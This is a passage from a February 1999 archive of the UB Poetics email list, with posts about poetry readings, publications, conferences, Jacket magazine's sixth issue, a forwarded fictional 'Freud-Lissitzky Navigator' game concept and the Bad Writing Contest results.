from USA: Andrea Brady, William Fuller, Michael Palmer

from Australia: Robert Adamson

from Ireland: probably

from Music: Simon Fell

Inquiries:
Rod Mengham, Jesus College, Cambridge. fax: 01223 328959
Kevin Nolan. e-mail [redacted]
Peter Riley. phone/fax 01223 576422. e-mail [redacted]

Booking will not begin until March

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202. Poetics List
Re: Stuart Z. Perkoff and the Temple of Man
Wed 17 Feb 1999

---------- Original message (ID=3730B88A) (55 lines) ----------

Date: Wed, 17 Feb 1999 10:19:13 -0600 To: UB Poetics discussion group <[redacted]> From: Maria Damon <[redacted]> (Maria Damon) Subject: Re: Stuart Z. Perkoff and the Temple of Man

a good book about this is John Arthur Maynard's Venice West: The Beat Generation in Southern California. Rutgers UP

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203. Maria Damon (Maria Damon)

Re: poetry & sound

Wed 17 Feb 1999

---

search the epc archives of the poetics list; i remember fairly extended discussions of this topic, plus some good discography, about 2 years ago or so.

At 1:55 AM 2/17/99, Sean Casey wrote:
>I'm researching the combinations of word with sound, from
>sound poems to poetry accompanied by music (improvised,
>composed, collage, ambient, jazz), from no specific time period
>or language.
>
>I would appreciate any recommendations from the list of
>recordings I should check out.
>
>My address: [redacted]
>
>Also, I'd be interested in corresponding with any list members
>who have done some exploration in these areas.
>
>Thank you,
>Sean
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>--
>Issues
>http://www.cs.brown.edu/~raj/issues/

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204. Katherine Lederer
New Vegas Web Zine
Wed 17 Feb 1999

If you want the scoop on terrific new Vegas poets... new Vegas Web Zine:
http://www.vegaslounge.com/chance/winter1998/

Cool article on it:
http://www.wired.com/news/news/culture/story/15655.html

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205. Jennifer Rosenthal
long poem
Wed 17 Feb 1999

This is a multi-part message in MIME format.

I am writing about the American long poem 1945-1960 and am particularly interested in issues of place. Does anyone have suggestions of poems that I might have overlooked?
Thanks!
Jennifer Rosenthal
[redacted]

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206. raea100900
Re: pagemothers inquiry
Wed 17 Feb 1999

Dear Rachel,

Page Mothers is a day and a half discussion/celebration of innovative publishing by California women (though there is an additional Bernadette Mayer panel and reading associated with it).It begins Friday, March 5, with a welcome speech (by me), a panel discussion on the historical circumstances that led to the current explosion of women's editing and publishing and a reception. These events start at 4:00 in the Geisal room at UCSD's main library. Events resume in the same place at 8:00 on Saturday morning with a full day of panels and discussions followed by an evening reading by Bernadette Mayer and Maureen Owen. Other participants include Lyn Hejinian, Leslie Scalapino, Marjorie Perloff, Harryette Mullen, Myung Mi Kim, Margy Sloan, Lynn Keller, etc. Fanny Howe and I are coordinating the event, but technical questions can be answered by Lucinda Rubio at [redacted]

Rae Armantrout

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207. **dbkk**
prose: definitions
Wed 17 Feb 1999

Hi, Folks,

This is Dodie Bellamy. If any of you have any definitions that work for you--of what "prose" is (as compared to "poetry"), could you please backchannel them to me. Or if you have any suggestions as to where I'd find a workable definition, I'd be eternally greatful.

db

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208. **Edward Foster**
Re: Armand Schwerner
Wed 17 Feb 1999

Armand's translation of cantos from _The Inferno_ will be published in September. --ed foster

On Tue, 16 Feb 1999, Poetics List wrote:

> *Date: Fri, 05 Feb 1999 12:02:56 -0800*
> *To: [redacted]*
> *From: Mark Weiss <[redacted]>*
> *Subject: Armand Schwerner*
>
> *Armand's _The Tablets_, for the first time complete, if that's the term, will be available from National Poetry Foundation, and his Selected Shorter Poems (comprising about 2/3 of his non-Tablets poetry plus a handful of translations) from Junction Press within the next two months. Both are in the final stages of pre-press. His translations of _The Inferno_, which he still hoped to complete as recently as a month ago, are to be published by Talisman. Ed Foster can probably tell us when to expect them.*
> *He was my friend and teacher. Editing his work with him has been a last great privilege.*
> *Selah.*

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209. Joe Amato/Kass Fleisher
for fun...
Wed 17 Feb 1999

thought some of you might get a kick out of this... all very male, save for the "girlfriend" (and what a role she plays)... but some references resonated with me...

best,

joe

> *Date: 2.10.99*
> *From: Lev Manovich ([redacted])*
> *Subject: FREUD-LISSITZKY NAVIGATOR*
>
> *FREUD-LISSITZKY NAVIGATOR*
> *Computer Game Prototype*
> *http://jupiter.ucsd.edu/~manovich/FLN*
> *By Lev Manovich and Norman Klein*
>
> *In the summer of 1928 Sigmund Freud meets with the avant-garde Russian designer El Lissitzky and his wife who are spending some time in Vienna after a stressful period working on the Soviet Pavilion at the International Press Exhibition in Cologne. They talk about psychoanalysis and modern architecture. Freud tells Lissitzky that in 1908 he visited Coney Island and went to a park called "Dreamland." There he got the initial idea for the architectural realization of his theory. Lissitzky gets very exited about this idea. They decide to create an architectural construct based on Freud's model of the mind. What shall it be? Lissitzky points out the parallels between Freud's model of the consciousness/unconsciousness as articulated in Interpretation of Dreams and Marx's model of base/superstructure (they don't know that it also parallels Saussure's model of signified/signifier). Freud still thinks of the "Dreamland" park, but Lissitzky convinces him that rather than building a one of a kind museum or park, they should design mass housing--a popular idea with the avant-garde architects of the second half of the 1920s and something which Lissitzky, who until now could not realize any of his big-scale architectural projects, was eager to do. Freud's first impulse is to have a house with three vertical levels corresponding to his typography of id, ego and super-ego. He wants to put a second, smaller house inside a garden, also with three levels corresponding to his first typography of the Conscious, Preconscious and Unconscious, with staircases to allow communication between them.*
>
> *Lissitzky persuades Freud that the modern house should have only one level with horizontal divisions, i.e. it should follow horizontal rather than vertical development. They discuss how to implement the concepts of*

condensation and displacement via mobile walls, an extension of Lissitzky's design for the exhibition pavilion which he did in Dresden in 1926.

Around the same time Russian filmmaker Sergei Eisenstein happens to pass through Vienna and he meets with Freud and Lissitzky. He tells them that he is planning film "adaptation" of Marx's Capital. Eisenstein is having difficulties with realizing his film project in Russia; however, there is funding for the mass housing projects in Vienna. Eisenstein realizes that he can try to test his ideas by "displacing" Capital into Interpretation of Dreams. He convinces Freud and Lissitzky to commission him to do a short film which presents a "walk through" through the model of a house.

Eisenstein now faces a fundamental problem: how to reconcile his method of montage with an essentially continuous experience of navigating through a space? He keeps thinking about this problem when he gives a lecture in the Institute of Psychoanalysis in Berlin in 1929. Later this year he visits Bauhaus where he talks with Hungarian artist and Bauhaus professor Moholy-Nagy to see if his students will build a model of the house which Eisenstein can film (Moholy-Nagy is in charge of the Metal Workshop). However, Moholy-Nagy is frustrated with art school politics and he already made plans to go to Berlin to start his own advertising agency.

While at Bauhaus Eisenstein happens to catch a lecture by a young American engineer Edwin Link about his flight simulator design. The Link Trainer is a simulation of a cockpit with all the controls, but, in contrast to a modern simulator, it has no visuals. Eisenstein conceives of adding a projected film to the simulator.

Link has connections in Hollywood; he arranges an invitation for Eisenstein so they have an opportunity to work on this new project in America. In Hollywood Eisenstein completes a twenty second film test. After meeting Disney, Eisenstein, who was in love with Disney cartoons, adds Mickey Mouse to the film. He send a print to Freud and a copy to Lissitzky who is now in Cologne. Lissitzky soon has to return to Russia. Sensing changing political climate there, he leaves his notes on the Navigator in Germany.

As many of Eisenstein's other projects, the Freud-Lissitzky navigator remains unrealized. There are notes in his archive dating to the late 1930s about constructing special movie theatres with moving platforms; he wants to use his montage theories to script the movement of a platform against other dimensions of a film. He also shoots a scene for Alexander Nevsky where we see the battle through the POV of a character who flies over the battle using the wings he constructed; but Stalin who understands that Eisenstein is making a reference to Russian avant-garde

artist Tatlin's "Letatlin" (flying apparatus Tatlin has been developing for years) orders this scene to be cut.

In 1961 at MIT Steve Russel writes the first computer game. He calls it Spacewar.

In 1968 a French new wave filmmaker is working on a film about Mao's China. He wants to present it as a happy utopia which finally left alienation and exploitation behind. One part of the film is taking place in the future when America attacks China. The filmmaker wants to film using montage strategies of Eisenstein's October. While on the train from Paris to Brussels, he reads in the paper that Russian tanks are going through the streets of Prague. Completely pre-occupied by his film, the filmmaker ignores the larger political context of Prague events; he is exited about the opportunity to get some footage for the film. He rushes back to Paris, grabs his hand-held film camera and takes first train to Prague. There he indeed finds Russian tanks in big numbers but there is a problem: the medieval streets of Prague look very different from China countryside where the scene is supposed to take place. The filmmaker pays the crews of two Russian tanks to drive to the countryside for half a day where he films the tanks. Happy, he returns to Paris where he finally realizes what actually took place in Prague. His first thought is to destroy all his footage but his old Fluxus friend convinces him to donate it to the audio-visual division of the National Library. The librarians have difficulties deciding under which category to file the footage; eventually they file it under "travel films."

In the same year a Hungarian scholar of Russian avant-garde is working on the first large exhibition of Russian avant-garde art in Stockholm. While doing research in Germany he discovers Lissitzky and Freud notes on the Navigator project. He publishes them in Hungary in a Hungarian art history journal. During the 1980s a great deal of computer development for American computer games was done in Hungary. One of the computer programmers has a girlfriend who studies art history at the University; she shows him the journal issue where the Lissitzky and Freud notes were published. The programmer begins to work on a game based upon these notes in his spare time. He completes a prototype in 1988 and there are plans to publish the game in the US, however, following the events of 1989 they fall through. The programmer who previously was happy to be paid a tenth of his US counterpart's salary now starts asking for outrageous amounts of money. Through the programmer's girlfriend the American game publishers steal the prototype and give it to their in-house development team to develop further. She and the programmer break up. Frustrated and heartbroken, the Hungarian programmer moves to Berlin and takes up painting.

The US game designers run into difficulties. They say that the reward

system in the game is not clear. And what is the point of traveling through Freud's model of the mind anyway? Having realized that what they have is not a game but a "scripted space" (Norman Klein's term) they try to talk to the Disney Imageneering to see if they would make a ride based on the prototype. But Imageneering people do not believe in unconscious and hence are not interested.

However, one of Disney designers wonders if they can incorporate some elements from the prototype into the design of Euro Disney. He thinks that European visitors would like the references to Dr. Freud and Russian avant-garde. In Paris to work on the site, he spends some time in the National Library looking through amateur French films to see how French navigate through landscapes. Looking through the "travel films" section, he comes across 1968 Prague footage and is struck by the similarity between its camera's moves and the computer game prototype he saw back in the States. Inspired, he goes to CafÈ du Dome on Montparanasse, which in its time served as a hangout for Lenin, Picasso, Soutine and other exiled intellectuals and artists. Keeping himself awake through the night on oysters, black coffee and cigarettes, he completes a detailed sketch of a Main Street design for Euro Disney by the morning. His design makes it through two committees and three focus groups but eventually is scratched. But some elements of it are incorporated in the final plans for Fantasyland at the Euro Disney, now renamed Disneyland Paris.

The game company makes another attempt to make money on the prototype: they approach a company which develops expensive simulators for the US Army. But, with the end of the Cold War, the company lost most of its orders and it is now busy converting a multi-million dollar simulator into an add-on level for the popular computer game Quake. They make one more attempt approaching the US Navy Simulation Division directly; but their engineers are also not interested. They are converting their own simulator (which is based on customized computer game Doom) into a commercial game for Sony Playstation. Frustrated, the game company recycles part of a computer code from the prototype for their own internal database which tracks employee benefits, and permanently shelves the project.

The Freud-Lissitzky Navigator is an early version of this prototype. It is converted from the original assembler code written in 1989. Following the usual practice of computer games to begin with a FMV (full motion video) sequence, we have added Eisenstein test (1930), re-edited by the American game company (1993). At the end of the prototype we appended a number of sketches and screen shots. They come from the 1993 version of the game developed by the company and from the presentations it did to Disney Imageneering and Navy Simulation Division (1990-1995). The last image is the sketch of Euro Disney Main Street done by Disney designer at CafÈ du Dome in Paris after he came across 1968 Prague footage.

> *http://jupiter.ucsd.edu/~manovich/FLN*

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210. **Michael Magee**

Re: poetry & sound

Wed 17 Feb 1999

Sean, one good place to start, Nate Mackey's chapter "Sound and Sentiment, Sound and Symbol" in his book *Discrepant Engagement* - the chapter title is a reference to 2 other interesting works on the subject: Stephen Feld's *Sound and Sentiment: Birds, Weeping, POetics, and Song in Kaluli Expression*; and Victor Zuckerkandl's *Sound and Symbol: Music and the External World*. Mackey also makes revelatory use of another worthwhile book, Jacques Attali's *Noise: The Political Economy of Music*. Happy hunting! -m.

According to
Sean Casey: > > I'm researching the combinations of word with sound, from
> sound poems to poetry accompanied by music (improvised,
> composed, collage, ambient, jazz), from no specific time period
> or language.
>
> I would appreciate any recommendations from the list of
> recordings I should check out.
>
> My address: [redacted]
>
> Also, I'd be interested in corresponding with any list members
> who have done some exploration in these areas.
>
> Thank you,
> Sean
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> Issues
> http://www.cs.brown.edu/~raj/issues/
>

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211. Lawrence Upton.
(no subject)
Wed 17 Feb 1999

Writers Forum announces the publication of 7 more pamphlets, the first seven of a new theme introduced by Upton, in the DOMESTIC AMBIENT NOISE series of 300. This brings the total published so far to 203. Cobbing and Upton 203 Rest of the world 97.

Each costs £1.00 plus postage. Special bulk rates available. All payments in sterling. Orders to New River Project 89a Petherton Road, London N5 2QT

Please send s.a.e./i.r.c. with enquiries. I'll pass on emails - he hasn't got email - but it wont necessarily speed things up as I live on the outskirts of S London and Cobbing/WF/NRP live somewhere called N London & I'm v forgetful

THE FOUR ZONES Upton/Cobbing 0 86162 791 1
STILLING LIGHT Cobbing/Upton 0 86162 792 X
PLACARD Upton/Cobbing 0 86162 857 8
FO DO MO Cobbing/Upton 0 86162 862 11
little globes & loss marbles Upton/Cobbing 0 86162 863 2
LAWRENCE'S RESPONSE Cobbing/Upton 0 86162 864 0
it's not about non-stick frying pans Upton/Cobbing 0 86162 865 9

Thank you

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212. Matthew J Chambers
(no subject)
Wed 17 Feb 1999

---

hello,

two announcements for events this coming mon. the 22nd

A PANEL FEATURING ROBERT CREELEY * CARL DENNIS * BEN FRIEDLANDER

at the Jan Keeler Room next to the Katherine Cornell Theater in the Ellicott Complex at SUNY at Buffalo (North Campus)

from 6-8pm
Feb. 22nd (Monday)

-->panelists will be reading from some of their work & the floor will be opened to those with questions for discussion
-->ALL ARE WELCOME

IMMEDIATELY FOLLOWING:

OPEN MIKE AT THE COFFEE BEAN CAFE FEATURING R.M. ENGELHARDT

R.M. Engelhardt will read at 9pm followed by an open mike for the remainder of the evening

COFFEE BEAN CAFE
5268 MAIN ST. (BETWEEN THIRD BASE & PJ BOTTOMS)
BUFFALO, NY

-->BOTH EVENTS ARE OPEN TO THE PUBLIC

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213. Christopher Reiner
Wheeler/de Lissovoy Reading
Wed 17 Feb 1999

SUNDAY SUNDAY SUNDAY

February 21, 1999

L.A. Books @ Cafe Balcony Presents
Susan Wheeler and Noah de Lissovoy

Susan Wheeler's two books of poems are Bag O' Diamonds (1993) and Smokes (1998), which was selected by Robert Haas to receive the Four Way Books Award. Her poems have been featured in five editions of the annual publication, The Best American Poetry. A former auto mechanic who became the director of Public Affairs of Arts and Science at New York University, Wheeler is currently in the department of English at New York University and on the core faculty of the New School for Social Research.

Noah de Lissovoy's writing has appeared recently in Big Allis, Ribot, and Tripwire. He is a recipient of a Gertrude Stein Award for innovative writing. A chapbook, Spark, is forthcoming from Jensen/Daniels.

The L.A. Books reading series is held at Cafe Balcony in west Los Angeles (12431 Rochester Avenue--near Santa Monica Blvd. and Centinela) at 4 pm. Donation $5 -- and it all goes to the readers.

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214. David Baratier

Readings

Wed 17 Feb 1999

Thursday February 18th
Portsmith OH
at Teeny's. Open mike only because
the main reader, Matt Hart from Cin/sity
who runs the mag Forklift, can't show.
No one knows why so... Meet us there... A bunch
from Columbus + 2 other cities & KY? will be there.
I heard Josip Navakovich was pure storytelling fire
last month.

Friday February 19th
Columbus OH
8pm. David Baratier reads letters. Mostly love. No opener.
The Market at Crestview and Calumet
(Clintonville)
[redacted]

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215. Other Voices

Other Voices 1.3 now available online

Thu 18 Feb 1999

*** OTHER VOICES ***
The (e)Journal of Cultural Criticism

http://dept.english.upenn.edu/~ov
ISSN 1094-2254

Other Voices has released its third issue!

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Jack Turner

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About the Journal:

Other Voices is an electronic journal of cultural criticism published at the University of Pennsylvania. Founded in March 1997, Other Voices regularly publishes provocative essays, interviews, lecture transcriptions, hypermedia projects, translations and reviews in the arts and humanities; covering philosophy, literature, visual art, music, and theory in a variety of traditionaland non-traditional forms. Other Voices is dedicated to expanding the dialogues that take place between the disciplines, and which challenge received notions about reading and scholarship in the university and at large. In keeping with this the journal is home to a broad-based group of contributors including academics, independent scholars, graduate and undergraduate students.

*** Contact Information ***

Snail Mail:

Other Voices
Attn: Vance Bell
P.O. Box 31907
Philadelphia, PA 19104-1907 USA

E-mail:

Editors, [redacted]

to the above address with the subject line "subscribe" and you will be promptly added.

++__++__++__++__++__++__++__++__++__++__++

Other Voices ISSN 1094-2254
P.O. Box 31907
Philadelphia, PA 19104-1907 USA
email: [redacted]
http://dept.english.upenn.edu/~ov

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216. Poetics List

Announcement: Issue # 6 of Jacket magazine is now stitched up and ready to wear

Thu 18 Feb 1999

Had to reformat this a bit. Chris

---------- Original message (IDš2AA83B) (110 lines) ----------

Date: Thu, 18 Feb 1999 21:10:58 +1100
To: John Tranter <[redacted]>
From: John Tranter <[redacted]>

Subject: Announcement: Issue # 6 of Jacket magazine is now stitched up and ready to wear

Announcement:

. . . on 18 February 1999, anniversary of the birthday of the first reigning queen of Great Britain, of screen god Jack Palance, screen goddess Kim Novak, and techno hero Count Allesandro Volta, inventor of the battery (!) . . .

Issue # 6 of Jacket magazine appears, stitched up and ready to wear, . . . at

http://www.jacket.zip.com.au/jacket06/index06.html

Nathaniel Tarn Feature: The first chapter of his new book, "Scandals in the House of Birds" - Based on a thirty-year span of fieldwork in the Lake Atitlán region of Guatemala, "Scandals in the House of Birds" is a multi-voiced epic of a sacred crime, and its tangled mythic, religious, and political ramifications.

Nathaniel Tarn: a heartfelt essay on new poetic forms - "I must confess in a belief that poetry represents . . . the ground and constitution of a perpetual opposition which is ill served by the depths of social isolationism into which we have allowed our vocation to sink"

A review by Shamoon Zamir (King's College, London) of "Scandals in the House of Birds" (to come)

A poem by Nathaniel Tarn on his Lithuanian heritage and the pogroms.

AND . . .

Frank O'Hara - WHAT'S WITH MODERN ART? - reviews of art shows from Art News, 1953-55, gathered by poet Bill Berkson - and a rare 1965 O'Hara photo by Renate Ponsold Motherwell

Paul Hoover - "THE PLOT AGAINST THE GIANT" - a review of David Lehman's "The Making of the Last Avant-Garde", about the New York School of poets

Eliot Weinberger : What Was Formalism? - a dry look at the latest poetic craze versus an ancient poetic tradition.

From Cambridge, England: John Kinsella's commentary on a poem by the elusive J.H.Prynne.

. . . and poems from Richard Caddel, Maxine Chernoff, Bill Griffiths, Lisa Jarnot, Robert Kelly, John Kinsella, Jennifer Moxley, Sheila Murphy, J.H. Prynne, Michael Rothenberg, Ron Silliman, and Adrian Wiggins.

With notices of and live links to the Post-War American Poetry Conference in Liège, Belgium, in early March 1999;

the 9th Cambridge Conference of Contemporary Poetry to be held at Trinity College, Cambridge, England, in late April 1999; and

the 22nd Festival Franco-Anglais de Poésie in Paris from 10 to 15 May 1999 - the theme is LANGAGES DU TEMPS MOBILE and you can read all about it at "La Traductière", the Internet site for the literary translation magazine edited by the indefatigable Jacques Rancourt in Paris.

. . and, as usual, a lather of photographs and other visuals.

Drop by, try the fit of the Jacket, and if you like it,

tell your friends!

> I understand that you may not wish to receive these notices.
> If so, please reply to this email to that effect, and
> I'll take your name off the mailing list pronto. [J.T.]

A special PS: ==========

Kate Grenville, noted Australian author, now has her own Internet site, at this URL:

http://www.alm.aust.com/~kategren/index.html

The site is available to the public free of charge, and contains over a hundred pages of detailed information relating to Kate's writing career - interviews, book reviews, biography, bibliography, chapters from her books, and photos. The site was created by Jacket editor John Tranter for Australian Literary Management, Australia's premier literary agency.

from John Tranter, 39 Short Street, Balmain NSW 2041, Sydney, Australia tel ([redacted] fax ([redacted] Editor, Jacket magazine: http://www.jacket.zip.com.au/welcome.html Homepage: five megabytes of glittering literature, free, at http://www.alm.aust.com/~tranterj/index.html

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217. Keith Tuma

advert

Thu 18 Feb 1999

Noting a few recent publications perhaps of interest to some on the list:

Fishing by Obstinate Isles: Modern and Postmodern British Poetry and American Readers. Northwestern University Press. $19.95 (paper). Available direct from NUP/Chicago Distribution Center/11030 South Langley Ave./Chicago, IL 60628. Tel: [redacted].

"Midnight at the Oasis: Performing Poetry Inside the Spectacle," _Modernism/Modernity_ 6.1 (January 1999). Available from Johns Hopkins UP, Journals Publishing Division, 2715 North Charles St., Baltimore, MD 21218-

4319. Tel: [redacted]. Single issue $11. "Individual" subscription to this fine journal $30.

This second is a review-essay on the C. Bernstein collection, _Close Listening_. In the event that anyone reads the thing, I'll note here an error that will also be noted in the next issue. The 3rd sentence in the 2nd paragraph on page 158 should read: "The question raised or implicit in all three essays involves the nature or composition of the audience and thus might be dubbed, after the academic mantra Silliman alludes to in his antiacademic essay, "Who Listens."

There--I've satisfied the pedant and ad-man in me in one fell swoop.

KT

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218. Randy Prunty
Joshua Beckman
Fri 19 Feb 1999

---

anyone have an email for Joshua Beckman? please backchannel.

Randy Prunty

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219. Louis Cabri
PhillyTalks 10
Fri 19 Feb 1999

PhillyTalks 10, with STEVE FARMER & PETER GIZZI, is now available. Their discussion ranges over the troubadors, limits of irony in contemporary experimental poetry, the question of lyrically transcendent being in the space of the page, historical determination in poetry, the "degraded" or "contaminated" in Farmer's poetry, and "vulnerability" in Gizzi's. Constructive, forthright, open dialogue, across two very divergent poetries, by two medieval-inflected, modernizededed poets.

Farmer & Gizzi read and further discuss their work at Kelly Writers House, 3805 Locust Walk, Philadelphia, March 1st, 7pm. All welcome.

If you'd like this newsletter, or back issues, please e me.

Best,
Louis

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220. david bromige
re long poem
Fri 19 Feb 1999

Jennifer, it would be a lot easier to know which poems you have overlooked, if you were to post the ones you have determined upon. Best, David

↑ Index

221. Poetics List
promised update
Fri 19 Feb 1999

All - copies of old messages are still trickling in, but
I suspect that we're over the majority of the restoration
process for UB email service. To those of you who sent
messages that never made it to the list, I can only apologize -
CIT has informed us (as Loss mentioned yesterday, thanks Loss)
that messages for at least one day were lost in the shuffle.

thanks for your patience. Chris

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222. Matthew J Chambers
apology & announcement
Fri 19 Feb 1999

hello again, someone was generous enough to point out an error on my part (or omission) - i forgot to mention that the panel discussion occurring on mon. feb. 22nd at the Jan Keeler Room at SUNY at Buffalo, North Campus will also feature

LOREN GOODMAN

my apologies to loren for my error & i hope no one was offended by my unintentional omission
much thanks
-matt chambers

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223. Judy Roitman
Chicago
Fri 19 Feb 1999

Happened across a flyer about a reading at the Poetry Center of Chicago, Wednesday, Feb. 24, 6 p.m. at the ballroom of the Art Institute, 112 S.

Michigan Ave.: Mei-Mei Berssenbrugge, Marilyn Chin, Arthur Sze. Admission $8; reduced admission for seniors (I think this means old people), AIC members, students. For more information, call [redacted].

These folks don't seem to publicize on this list, so thought I'd do it.

Wish I could be there.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

↑ Index

224. Magdalena Zurawski
SHOW UP!
Fri 19 Feb 1999

THE SLEEVES

PICNIC

CRANKY

9PM on Saturday February 20th

Charleston Bar, Bedford Ave (Btw. N7. & N.8), Williamsburg, Brooklyn

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225. Poetry Project
this week at the poproj
Fri 19 Feb 1999

This upcoming week:

MONDAY

Feb. 22 at 8 pm

Yedda Morrison & Brian Lucas

(free samples of Lucas's work are available at
http://www.poetryproject.com in the Poets & Poems back issues)

WEDNESDAY

Feb. 24 at 8 pm

Diane Williams & Mac Wellman

Williams has written a book called _this is about the body, the mind, the soul, the world, time and fate_

while Wellman has written a book called _A Shelf in Woop's Clothing_

AND THAT IS IT FOR FEBRUARY

see you MARCH 1st
at the Open Reading (sign-up at 7:30 pm)

where "One inviting word a place to/
always begin." (Lucas)

↑ Index

226. Todd Baron /*/ ReMap

Re: prose: definitions

Fri 19 Feb 1999

---

dodie: one I certainly use in teaching--re prose vers.

poetry : " lower limit speech, upper limit music" (Zuk.)

prose: " "the vision of the emotional imagination..." (Raymond Chandler)

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227. Safdie Joseph

FW: the envelope please...

Fri 19 Feb 1999

I seem to remember a discussion about a Jameson quote which had been similarly honored last year, and wondered if most folks on this list agreed that these examples were, in fact, "bad" -- it's one way to talk about poetics, no?

_____
>We are pleased to announce winners of the fourth Bad Writing Contest,
>sponsored by the scholarly journal Philosophy and Literature.
>
>The Bad Writing Contest celebrates the most stylistically lamentable
>passages found in scholarly books and articles published in the last
>few years. Ordinary journalism, fiction, departmental memos, etc. are
>not eligible, nor are parodies: entries must be non-ironic, from
>serious, published academic journals or books. Deliberate parody
>cannot be allowed in a field where unintended self-parody is so

>widespread.
>
>Two of the most popular and influential literary scholars in the U.S.
>are among those who wrote winning entries in the latest contest.
>
>Judith Butler, a Guggenheim Fellowship-winning professor of rhetoric
>and comparative literature at the University of California at
>Berkeley, admired as perhaps "one of the ten smartest people on the
>planet," wrote the sentence that captured the contest's first prize.
>Homi K. Bhabha, a leading voice in the fashionable academic field of
>postcolonial studies, produced the second-prize winner.
>
>"As usual," commented Denis Dutton, editor of Philosophy and
>Literature, "this year's winners were produced by well-known,
>highly-paid experts who have no doubt labored for years to write like
>this. That these scholars must know what they are doing is indicated
>by the fact that the winning entries were all published by
>distinguished presses and academic journals."
>
>Professor Butler's first-prize sentence appears in "Further
>Reflections on the Conversations of Our Time," an article in the
>scholarly journal Diacritics (1997):
>
>
>"The move from a structuralist account in which capital is understood
>to structure social relations in relatively homologous ways to a view
>of hegemony in which power relations are subject to repetition,
>convergence, and rearticulation brought the question of temporality
>into the thinking of structure, and marked a shift from a form of
>lthusserian theory that takes structural totalities as theoretical
>objects to one in which the insights into the contingent possibility
>of structure inaugurate a renewed conception of hegemony as bound up
>with the contingent sites and strategies of the rearticulation of
>power."
>
>
>Dutton remarked that "it's possibly the anxiety-inducing obscurity of
>such writing that has led Professor Warren Hedges of Southern Oregon
>University to praise Judith Butler as `probably one of the ten
>smartest people on the planet'."
>
>This year's second prize went to a sentence authored by Homi K.

>Bhabha, a professor of English at the University of Chicago. He writes
>in The Location of Culture (Routledge, 1994):
>
>"If, for a while, the ruse of desire is calculable for the uses of
>discipline soon the repetition of guilt, justification,
>pseudo-scientific theories, superstition, spurious authorities, and
>classifications can be seen as the desperate effort to "normalize"
>formally the disturbance of a discourse of splitting that violates the
>rational, enlightened claims of its enunciatory modality."
>
>
>This prize-winning entry was nominated by John D. Peters of the
>University of Iowa, who describes it as "quite splendid: enunciatory
>modality, indeed!"
>
>Ed Lilley, an art historian at the University of Bristol in the U.K.,
>supplied a sentence by Steven Z. Levine from an anthology entitled
>Twelve Views of Manet's "Bar" (Princeton University Press, 1996):
>
>"As my story is an august tale of fathers and sons, real and imagined,
>the biography here will fitfully attend to the putative traces in
>Manet's work of "les noms du p re," a Lacanian romance of the errant
>paternal phallus ("Les Non-dupes errent"), a revised Freudian novella
>of the inferential dynamic of paternity which annihilates (and hence
>enculturates) through the deferred introduction of the third term of
>insemination the phenomenologically irreducible dyad of the mother and
>child."
>
>
>Stewart Unwin of the National Library of Australia passed along this
>gem from the Australasian Journal of American Studies (December 1997).
>The author is Timothy W. Luke, and the article is entitled, "Museum
>Pieces: Politics and Knowledge at the American Museum of Natural
>History":
>
>
>"Natural history museums, like the American Museum, constitute one
>decisive means for power to de-privatize and re-publicize, if only
>ever so slightly, the realms of death by putting dead remains into
>public service as social tokens of collective life, rereading dead
>fossils as chronicles of life's everlasting quest for survival, and
>canonizing now dead individuals as nomological emblems of still living

>collectives in Nature and History. An anatomo-politics of human and
>non-human bodies is sustained by accumulating and classifying such
>necroliths in the museum's observational/expositional performances."
>
>
>The passage goes on to explain that museum fossils and artifacts are
>"strange superconductive conduits, carrying the vital elan of
>contemporary biopower." It's demonstrated with helpful quotations from
>Michel Foucault's History of Sexuality.
>
>Finally, a tour de force from a 1996 book published by the State
>University of New York Press. It was located by M.J. Devaney, an
>editor at the University of Nebraska Press. The author is D.G. Leahy,
>writing in Foundation: Matter the Body Itself:
>
>
>"Total presence breaks on the univocal predication of the exterior
>absolute the absolute existent (of that of which it is not possible to
>univocally predicate an outside, while the equivocal predication of
>the outside of the absolute exterior is possible of that of which the
>reality so predicated is not the reality, viz., of the dark/of the
>self, the identity of which is not outside the absolute identity of
>the outside, which is to say that the equivocal predication of
>identity is possible of the self-identity which is not identity, while
>identity is univocally predicated of the limit to the darkness, of the
>limit of the reality of the self). This is the real exteriority of the
>absolute outside: the reality of the absolutely unconditioned absolute
>outside univocally predicated of the dark: the light univocally
>predicated of the darkness: the shining of the light univocally
>predicated of the limit of the darkness: actuality univocally
>predicated of the other of self-identity: existence univocally
>predicated of the absolutely unconditioned other of the self. The
>precision of the shining of the light breaking the dark is the
>other-identity of the light. The precision of the absolutely minimum
>transcendence of the dark is the light itself/the absolutely
>unconditioned exteriority of existence for the first time/the
>absolutely facial identity of existence/the proportion of the new
>creation sans depth/the light itself ex nihilo: the dark itself
>univocally identified, i.e., not self-identity identity itself
>equivocally, not the dark itself equivocally, in "self-alienation,"
>not "self-identity, itself in self-alienation" "released" in and by
>"otherness," and "actual other," "itself," not the abysmal inversion

>of the light, the reality of the darkness equivocally, absolute
>identity equivocally predicated of the self/selfhood equivocally
>predicated of the dark (the reality of this darkness the
>other-self-covering of identity which is the identification
>person-self)."
>
>
>Dr. Devaney calls this book "absolutely, unequivocally
>incomprehensible." While she has supplied further extended quotations
>to prove her point, this seems to be enough.
>
>The next round of the Bad Writing Contest, results to be announced at
>the end of 1999, is now open. There is an endless ocean of
>pretentious, turgid academic prose being added to daily, and we'll
>continue to honor it.
>
>Prof. Denis Dutton
>Editor, Philosophy and Literature
>University of Canterbury, Christchurch, New Zealand
>
>Phone: 01[redacted]
>[redacted]

↑ Index

228. **Charles Alexander**
Re: long poem / Rosenthal
Fri 19 Feb 1999

---

as I recall, it was 'rooted in sense of place' and written (or published, perhaps?) 1945-1960. But then 'sense of place' seems practically unavoidable. Whether work of a specific place, as is Maximus, or work of multiple movement across space (Slinger -- but yes, this is after 1960), or work in which space doesn't seem obviously at issue (Passages -- except in parts, of course, that are specific to San Francisco area) -- isn't that too at take on 'sense of place.' Can the page itself supply 'sense of place?' -- quite literally? or, metaphorically, many other things (language, the psyche, etc.)?

charles

At 10:33 AM 2/24/99 -0500, you wrote:
>somebody correct me if i'm wrong (i've erased the original message)
>
>but aren't their two selection factors to be kept in mind

>with regard to this long poem biz
>
>1 - rooted in a sense of place
>
>2 - written in the 60's
>
>)L
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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229. **Michael Scharf**
Page Mothers
